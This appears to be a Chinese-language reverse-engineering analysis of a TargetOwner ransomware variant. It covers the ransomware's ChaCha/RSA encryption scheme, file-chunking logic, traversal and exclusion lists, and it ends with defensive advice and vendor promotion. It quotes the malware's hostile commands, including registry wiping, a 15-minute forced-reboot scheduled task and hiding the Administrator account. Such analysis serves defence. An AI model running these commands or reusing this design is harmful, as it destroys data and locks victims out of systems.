接下来会将执行加密文件标志的写入和加密字节的大小的计算,最后将原文件的大小给到变量num2。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
一块加密数据的大小是由FileControls.getReadSize函数来计算的,其中参数是文件的大小和num的值。

4.15 计算加密块大小(getReadSize函数):

这里先总结几个变量的值
变量名 十六进制
FileControls.maxFileLength 53687091200L 0xc80000000
FileControls.minFileLength 10485760L 0xa00000
FileControls.mbFileLength 314572800L 0x12c00000
FileControls.gbFileLength 1073741824L 0x40000000
这里有两套的计算方法,文件后缀在completeSuffix列表中的和不在列表中的,分别用num的值来代表,分别为4和1,既该函数中的encryptRate变量,该变量使用了ref关键字传递,会跟着函数内的改变而改变。

4.15.1不在completeSuffix中(encryptRate = 1):

文件后缀不在列表中的文件会先看其文件大小是否大于0xc80000000字节,小于等于的情况下,num的值就是750,大于的情况下,num的值是500,并且会根据文件大小来调整encryptoRate的值,会根据文件的大小是否超过0xc80000000三倍的情况下,来决定encryptRate的值是4还是6,而encryptRate是决定该文件加密多少readsize的值。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.15.2 在completeSuffix中(encryptRate = 4):

会先将num的值修改为5,之后会根据文件的大小来决定num和enctyptRate的值。
这里文件的大小会根据其范围来进行设置num和cryptRate的值
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
完成了上述根据文件大小的处理后,会返回根据文件大小计算出一块加密数据的大小,计算方法就是0xa000 * num。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
总结一下:
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
得到了一块加密的大小和加密的次数后,将在加密文件的末尾写入加密标志。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
写入的内容结构:
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.16 开始加密

4.16.1 初始化:

1. 加密会先获取一下需要加密文件的原始大小,赋值给num2,之后会初始化一个array3用来装加密一次所需的readsize大小的数据,再创建一个循环。
2. 循环内有个变量num3,跟前面的首次写入文件末尾的是一个变量,用来记录加密次数的,num6是根据文件未加密的数据大小是否还足以够分一次readsize大小的数据,如果不够,那就取剩余大小。
3. 什么时候num6未加密的数据大小为0,加密循环就停止
4. 当num3加密次数和CryptRate次数一样的时候,加密停止,将num3重新写入到文件末尾的位置,并将剩余未加密的字节减去readsize大小,直到为0
5. 如果num3加密次数没有和CryptRate次数一样,加密开始
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.16.2 加密流程:

1. 先根据这次加密的大小是readsize还是剩余大小的num2,来更新num2剩余未加密大小的数据和array3存储未加密数据的大小。
2. 将文件指针移动到从文件开头到num2的位置,然后读取array3大小的数据,即readsize或者是剩余num2大小。
3. 根据arry3的大小,创建一个用来保存加密后数据的数组array4
4. 利用刚才上面创建的chaCha7539Engine加密对象的ProcessBytes方法来实现对array3内的数据进行加密,完成后将其输出到array4中。
5. 将加密后的array4的数据写入到从文件开头到num2的位置
6. 将num3加密次数写入到文件的末尾,即更新一下num3的内容
7. 加密结束,返回上面根据num3的值是否跟CryptoRate是一样,即决定是否进行下次加密。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.16.3 加密核心实现:

4.16.3.1 密钥生成(FileControls.initRandomKey函数):

其中每次结果用完后都会对其内容进行清空操作
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
1. 利用AesPlan.GenerateRandomBytes函数获取137字节大小的随机数到array
2. 利用从"entry_"开头文件中读取到的publicKeyB,对array进行RSA加密,并将结果存储到array2
3. 将加密后的结果从开头第七个字节开始往后的内容拷贝到array3中
4. 清空array随机数和array2加密后的随机数
5. 利用AesPlan.GenerateRandomBytes函数获取37字节大小的随机数到array4
6. 将array4中的奇数位置的内容赋值到array3中偶数位置
7. 清空array4的内容
8. 利用从"entry_"开头文件中读取到的publicKeyB,对array3进行RSA加密,并将结果存储到array5
9. 取加密结果的第57位置开始往后32字节当作chaCha7539Engine流加密的KEY,将其存储到array6
10. 取加密结果的第177位置开始往后12字节当作chaCha7539Engine流加密的IV,将其存储到array7
11. 创建chaCha7539Engine加密对象,并调用其Init函数,将KEY和IV传入,供其生成密钥流。
12. 利用从"entry_"开头文件中读取到的publicKey,对array6和array7分别进行RSA加密,并将结果存储nonceRsa(参数1)和chachaIVRsa(参数2),以供解密使用。
13. 清空加密后KEY和IV的内容
14. 将创建好的chaCha7539Engine加密对象返回。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.16.3.2 内容加密(chaCha7539Engine.ProcessBytes函数):

参数 意义
inBytes 待加密的数据
inoff 合规检查的标志
len 待加密的数据长度
outBytes 加密后的数据
outoff 合规检查的标志
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
1. 先调用了Check.DataLength函数和Check.OutputLength对inBytes和outBytes两个用来存储数据的数组进行了合规检查。
2. 调用this.LimitExceeded函数检查len是否超出了合法长度
3. 循环加密inBytes中的每一个字节,并且如果是首次加密,会先调用GenerateKeyStream产生密钥流并且调用AdvanceCounter函数来更新加密对象内部状态。
4. 将产生的密钥流与inBytes中的每一个字节进行异或,并将其结果赋值到outBytes中
5. 如果inBytes长度超过了密钥流keyStream的长度,就重置keyStream的idx
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
加密结束。
队列线程的初始化和对应的线程出队方法分析完毕将执行main函数下面的线程,该线程会启动EncryMain.start方法。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.17 主要入口(EncryMain.start函数):

该函数主要实现了对磁盘的遍历,将获取到的符合条件的文件路径,入队到线程队列中,然后交给线程事件去执行,以实现对文件的加密。
1. 获得系统所有的物理磁盘驱动,比如“C:/”,之后通过moveErgodicDir函数对其路径下的文件进行处理,moveErgodicDir函数在下面分析。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 调用sleep函数休息一会儿,接着调用ergodicFiles函数将系统桌面上的文件进行加密处理,然后写入勒索信。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
3. 创建一个新线程,启动ergodicSignificantDirectory方法,来实现加密指定路径的功能
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
4. 遍历系统磁盘内,并且将加密文件最小的大小设置成了73400320字节,意思其中加密条件变成了大于73400320字节的文件,但不写入勒索信。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
5. 遍历系统磁盘内,并且将加密文件最小的大小设置成了0字节,不对加密字节设限制,写入勒索信。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
6. 遍历系统磁盘内,并且将加密文件最小的大小设置成了0字节,不对加密字节设限制,不写入勒索信。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
7.遍历C:WindowsSystem32winevtLogsC:WindowsSystem32winevtLogsC:Windows\System32\LogFiles\WMI\RtBackupC:Windows\System32\LogFiles\Scm路径下的文件,寻找适合加密的文件,不写入勒索信,不对文件大小做限制。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
8.当所有的文件都加密完毕后,将执行ManagementProcess.endManagementProcess函数、ManagementProcess.CreateProcess函数和Process.GetCurrentProcess().Kill函数来实现一系列功能。
比如:CreateProcess函数实现了对命令cmd.exe", "/c taskkill /f /im " + 当前进程名称的执行,实现了强制终止当前运行的进程,即对自身进程的终止。Process.GetCurrentProcess().Kill函数又一次实现了对自身进程的二次终止,双重保障能干掉自己当前的进程。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.17.1 创建加密目录&&转移文件(moveErgodicDir函数):

1. 会先获取传入参数path的路径,然后判断其开头是不是C盘,如果文件路径内存在'anydesk'或者路径开头是C盘,那么就退出
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 遍历传入路径下的文件,将其添加到ACL中
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
3. 创建个加密路径目录,将所有传入路径下的文件都转移到新路径下
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.17.2 校验文件&&将文件入队(ergodicFiles函数):

这里要着重介绍一下里面的参数
参数 意义
path 需要处理的路径
size 加密文件的最小大小
queueKey 入队键值,根据其值是否为Null,来决定入TaskQueue还是dictionaryTaskQueue
isCarteTitle 勒索信开关标志,如果是True就在该目录下写勒索信
1. 判断需要处理的路径下是否存在anydesk,如果存在就返回,并且如果存在C盘的盘符开头的路径,就遍历giveupDir的键值,如果路径中包含giveupDir中的键值就返回,不做操作,giveupDir上面已经有说过,这里就不再做描述了。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 获取路径中的文件名称,判断是否包含giveupContainsDir中的键值,如果包含就返回,不做任何操作。
giveupContainsDir:

"mozilla",
"msocache",
"Windows",
"appdata",
"programdata",
"google",
"application data",
"tor browser",
"system volume information",
"intel",
"boot",
"$windows.~ws",
"$windows.~bt",
"Windows Microsoft.NET",
"WindowsPowerShell",
"Windows NT",
"Microsoft Security Client",
"Internet Explorer",
"Reference",
"Assemblies",
"Windows Defender",
"Microsoft ASP.NET",
"Core Runtime",
"Package",
"Store",
"Microsoft Help Viewer",
"Microsoft MPI",
"Windows Kits",
"Microsoft.NET",
"Windows Mail",
"Microsoft Security Client",
"Package Store",
"Microsoft Analysis Services",
"Windows Portable Devices",
"Windows Photo Viewer",
"Windows Sidebar"

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
3. 根据队列键值是否为空来判断一下taskqueue中的任务数量是否超过一个处理器所能处理的最大值,如果超过了就等待一下,之后就是将路径添加到ACL中。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
4. 判断一下处理路径是否是C:/Windows并且是否是C盘开头,如果不是就将该目录下的文件按照时间倒序排序,保存到array,以供后续的处理。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
5. 遍历array中的文件,将满足条件:
1. 文件名称结尾不是加密文件后缀fileSuffix
2. 文件中不包含uid
3. 文件的完整路径中不包含勒索信名称
4. 文件后缀不在giveupSuffix里面
5. 文件后缀在giveupSuffix里面,但是文件大小大于104857600L字节的exe和文件大小大于367001600L字节的dll后缀的文件
只有满足以上条件的文件才进行后续操作,否则就直接返回。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
giveupSuffix:

"iso",
"cmd",
"com",
"bat",
"diagpkg",
"dll",
"exe",
"hlp",
"icl",
"icns",
"ico",
"ics",
"idx",
"lnk",
"nomedia",
"rom",
"rtp",
"scr",
"shs",
"sys",
"theme",
"themepack",
"wpx",
"msi"

6. 筛选过后,将执行入队操作,判断文件是否在giveupFile文件中,如果不在,执行对文件路径入队操作。
这里的入队条件有:
1 文件大小是否超过了最小加密文件大小Size参数的值,必要条件
2 queueKey的值不为空
3 queueKey的值为空,并且文件后缀在completeSuffix中,入taskQueue队列
4 queueKey的值不为空
满足上述条件1和条件2,入dictionaryTaskQueue队列,其中queueKey作为键值。
满足上述条件1和条件3,入taskQueue队列。
满足上述条件1和条件4,入taskQueue队列。
其次入队后都会校验队内任务数量是否会超过处理器所能承载的数量,flag3是对任务数量是否超过处理器的阀值的判断,如果超过了就调用sleep函数等一会儿。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
7. 清空存储的路径下的所有文件
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
8. 根据勒索信开关标志来决定是否对该目录下写入勒索信,如果是True则意味着将该目录下所有的目录写入勒索信,这里是通过对勒索信路径进行入队实现的
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
9. 按照时间倒序排序将处理路径下的文件存储到array3中,然后循环遍历array3中的文件和目录,递归调用ergodicFiles函数来对其该路径下的所有文件和子目录进行加密
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.17.3 自定义加密路径(ergodicSignificantDirectory函数):

1. 可以通过用户输入来指定重要加密路径,并且判断如果大于0,就再创建一个新线程,一样递归启动该函数。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 会判断输入的路径是目录还是文件,是目录就进行遍历加密其下所有文件和目录,文件就加入到优先队列中进行加密。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.17.4 清空加密密钥&&删除系统注册表等(ManagementProcess.endManagementProcess函数)

该函数主要清空了加密密钥的内容,并且利用CreateProcess函数来执行一系列的命令,例如:
#删除注册表键中所有值:
"cmd.exe""/c 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f'"
#删除注册表键:
"cmd.exe""/c 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f'"
#添加注册表键:
"cmd.exe""/c 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"'"
#删除 Default.rdp 文件:
"cmd.exe""/c 'cd %userprofile%\documents && attrib Default.rdp -s -h && del Default.rdp'"
#创建计划任务,每 15 分钟重启一次系统:
"cmd.exe""/c 'schtasks /Create /SC MINUTE /MO 15 /TN "Restart" /TR "shutdown /r /f /t 0" /RU SYSTEM'"
#添加注册表键,隐藏管理员账号:
"cmd.exe""/c 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Administrator /t REG_DWORD /d 0 /f'"
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
最后调用ScheduleRestartAndExit函数来实现让计算机在 10000 秒(约 2.78 小时)后重启。

4.17.5 计划系统重启(ScheduleRestartAndExit函数):

该函数主要实现让计算机在 10000 秒(约 2.78 小时)后重启
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

5.病毒分析概览

 本次入侵该病毒通过暴力破解RDP密码进行勒索,运行后加密后,文件后缀会添加.phobos。病毒会终止系统进程、删除本地备份和卷影副本、禁用恢复模式和防火墙,并生成勒索信(INFOR.txt),提供联系邮箱([email protected])和受害者ID。加密采用ChaCha流加密算法,密钥和IV通过RSA加密并嵌入加密文件中。病毒还禁用Windows Defender、停止关键服务、删除系统还原点和影卷备份、禁用虚拟内存和文件共享等操作,确保加密行为不被干扰。执行完毕后,病毒通过批处理文件自删除,清除其痕迹。该分析明确了TargetOwner的新版本病毒的运行机制和危害,为应急响应和防御提供了重要参考。
以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles毒,.stesoj毒,.src毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

6.防范措施

网络环境加固:对企业或单位的网络环境进行全面的安全加强,包括强化内网安全防护和监控系统。
软件来源管理:严格使用官方或知名信誉良好的第三方网站下载软件,避免使用未经验证的来源,以减少恶意软件的潜在风险。
防病毒软件的部署与更新:安装可信赖的防病毒软件,并定期更新到最新版本,以便及时抵御新出现的恶意软件和病毒攻击。
文档后缀警觉:仔细检查文档的后缀名,对于非常见文档格式(如非doc/xls/ppt/docx/xlsx/pptx)的文件保持警惕,不轻易打开。
网络安全培训:对员工进行定期的网络安全培训,提高他们对网络威胁的识别能力和防范意识。培训内容应包括最新的网络安全威胁、识别和应对网络攻击的方法。

7.安全建议

7.1 风险消减措施

资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

7.2 安全设备调优

目标

通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

7.3 全员安全意识增强调优

目标:

通过网络安全意识宣贯、培训提升全方位安全能力

形式:

培训及宣贯

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?线下培训课表

若无法组织线下的集体培训,考虑两种方式:

1.提供相关的安全意识培训材料,由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?线上学习平台

8.团队介绍

solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

More

9.数据恢复服务流程

多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

       专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

       售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

       您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

       专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

       您清楚了解数据恢复方案后,您可自主选择以下下单方式:

双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

      安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

      数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

      完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

      客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

点击关注下方名片进入公众号 了解更多

更多资讯 扫码加入群组交流

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

喜欢此内容的人还喜欢

【病毒分析】BabyK加密器分析-Windows篇

索勒安全团队

【紧急警示】Locked勒索病毒利用最新PHP远程代码执行漏洞大规模批量勒索!文末附详细加固方案

索勒安全团队

【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密)

索勒安全团队

原文始发于微信公众号(solar专业应急响应团队):【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月20日22:22:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?https://cn-sec.com/archives/2846830.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息